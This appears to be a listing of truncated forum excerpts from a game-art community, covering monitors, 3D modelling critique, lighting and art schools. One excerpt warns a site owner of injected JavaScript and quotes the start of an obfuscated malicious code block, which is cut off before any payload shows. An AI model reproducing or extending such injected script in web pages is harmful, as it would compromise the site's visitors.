LCDs are pretty spendy and I totally agree with all points above about the colors. CRTs are still graphically better. I use a 19" NEC MultiSync FE990 (CRT) i picked up about 2 years ago for about $260 new. Very good brand and monitor. I highly recommend NECs, Sony or the Dell CRTs (the dells have trinitron parts in them so…
There's a scripting exploit in your site. I started digging around in your javascript files and found this cryptic code block that has been inserted into everything: this.zc="zc";var kl=new String();v=function(){var kg;if(kg!='se'){kg='se'};var w=document;var e;if(e!='d'){e=''};var ty;if(ty!='' &&…
slum- exactly my thoughts. i was a big big et fan , hardcored more than 1 year prob. i didnt like it first too , game mechanics are way too different than ET and i generally hate multiplayer games with vehicles ( battlefield etc). but after first 15 min , i get my lovely sniper rifle with 15- fps & 150+ ping........ man…
Only critique on the door knocker is that you should use more reference material on the nose/mouth area. I assume you are doing a lion the nose/ mouth needs to be bigger and the nose needs to blend in around the nostril area. Currently it looks like a bear except for the mane. When you do a Google search for lion statue,…
Your model is suffering from two things right now. 1. Bad poly flow. You don't have any real edge loops which means two things, muscles and clothing do not end up looking real. Just because this is a cartoon doesn't mean you can ignore musculature, and second, it will not animate correctly. Heres some tutorials to help…
I don't think you want everything in the same smoothing group, especially with such a hard-edged object like a cube (see http://wiki.polycount.com/NormalMap#Smoothing_Groups_.26_Hard_Edges). Try hard edges around UV seams. Also, cubes are always bad examples for normal maps. A simple bevel would probably take it a lot…
The overview: Kerry Katona, ex popstar and airship smuggler is now doing BAD BAD BAD TV ads for Iceland. She has an accent that could cut glass. Ror - get yerself a bunch of Still Game DVDs - I think they are on series 4 now. As for Video Gaiden, it is fantastic, and nice to see a TV programme that talks to you bout games…
As you most likely know, spherical harmonics is a way of describing the diffuse lighting of an envioronment (as seen from a point in space, as always) by wrapping it around a sphere and deriving a cooefficiant matrix (per colour component) from the variation in lighting (as a frequency, not colour) around that sphere.…
Its a place where you go pay shtload of money to learn whatever you are able to learn on your own.....*blink blink* Seriously now. My thoughts with 2 cents here: I have been getting calls from VFS and AOD for sometime now. Although; their offerings of 3d animation and game development courses are really catchy, but…